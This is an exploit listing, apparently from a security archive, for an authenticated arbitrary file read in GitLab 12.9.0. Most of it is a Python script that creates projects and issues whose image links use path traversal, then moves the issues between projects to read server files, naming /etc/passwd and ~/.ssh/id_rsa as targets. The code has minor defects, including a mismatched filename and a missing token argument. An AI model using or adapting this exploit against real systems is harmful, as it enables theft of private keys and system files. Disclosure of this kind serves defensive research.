what you don't know can hurt you

Gitlab 12.9.0 Arbitrary File Read

Gitlab 12.9.0 Arbitrary File Read
Posted Nov 19, 2020
Authored by Jasper Rasenberg

Gitlab version 12.9.0 authenticated arbitrary file read exploit. A file read vulnerability was previously discovered in this version in May of 2020 by KouroshRZ.

tags | exploit, arbitrary
MD5 | 3a88b97ad457af5b8a78720ceabce567

Gitlab 12.9.0 Arbitrary File Read

Change Mirror Download
# Exploit Title: Gitlab 12.9.0 - Arbitrary File Read (Authenticated)
# Google Dork: -
# Date: 11/15/2020
# Exploit Author: Jasper Rasenberg
# Vendor Homepage: https://about.gitlab.com
# Software Link: https://about.gitlab.com/install
# Version: tested on gitlab version 12.9.0
# Tested on: Kali Linux 2020.3



#You can create as many personal access tokens as you like from your GitLab profile.
# Sign in to GitLab.
# In the upper-right corner, click your avatar and select Settings.
# On the User Settings menu, select Access Tokens.
# Choose a name and optional expiry date for the token.
# Choose the desired scopes.
# Click the Create personal access token button.
# Save the personal access token somewhere safe. If you navigate away or refresh your page, and you did not save the token, you must create a new one.

# REFERENCE: https://docs.gitlab.com/ee/user/profile/personal_access_tokens.html

# pip3 install gitlab
# pip3 install requests
# Use a client cert to verify SSL or set to False

import os
import requests
import json
from time import sleep
from gitlab import *

session = requests.Session()
session.verify = f'{os.getcwd()}/<cert.pem>' # or set session.verify = False

host = ''

def exploit(projectName, issueTitle, files, token):

gl = Gitlab(host, private_token=token, session=session)
gl.auth()
p1 = gl.projects.create({'name': f"{projectName}-1"})
p2 = gl.projects.create({'name': f"{projectName}-2"})

for i, f in enumerate(files):
stripped_f = f.rstrip('\n')
issue = p1.issues.create({ \
'title': f"{issueTitle}-{i}",
'description': \
"![a](/uploads/11111111111111111111111111111111/"\
f"../../../../../../../../../../../../../..{stripped_f})"})
print(issue.description)
sleep(3)
try:
issue.move(p2.id)
except Exception as e:
pass
sleep(3)

if __name__ == "__main__":

write_files = ['/etc/passwd', '~/.ssh/id_rsa']
with open('senstive_files', 'w') as sens:
for file in write_files:
sens.write(file)

files = list(open('sensitive_files', 'r'))
exploit('project-1', 'issue-1', files)

Login or Register to add favorites

File Archive:

January 2021

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jan 1st
    4 Files
  • 2
    Jan 2nd
    3 Files
  • 3
    Jan 3rd
    3 Files
  • 4
    Jan 4th
    33 Files
  • 5
    Jan 5th
    31 Files
  • 6
    Jan 6th
    21 Files
  • 7
    Jan 7th
    15 Files
  • 8
    Jan 8th
    19 Files
  • 9
    Jan 9th
    1 Files
  • 10
    Jan 10th
    1 Files
  • 11
    Jan 11th
    33 Files
  • 12
    Jan 12th
    19 Files
  • 13
    Jan 13th
    27 Files
  • 14
    Jan 14th
    8 Files
  • 15
    Jan 15th
    16 Files
  • 16
    Jan 16th
    1 Files
  • 17
    Jan 17th
    2 Files
  • 18
    Jan 18th
    20 Files
  • 19
    Jan 19th
    32 Files
  • 20
    Jan 20th
    15 Files
  • 21
    Jan 21st
    10 Files
  • 22
    Jan 22nd
    16 Files
  • 23
    Jan 23rd
    0 Files
  • 24
    Jan 24th
    0 Files
  • 25
    Jan 25th
    0 Files
  • 26
    Jan 26th
    0 Files
  • 27
    Jan 27th
    0 Files
  • 28
    Jan 28th
    0 Files
  • 29
    Jan 29th
    0 Files
  • 30
    Jan 30th
    0 Files
  • 31
    Jan 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close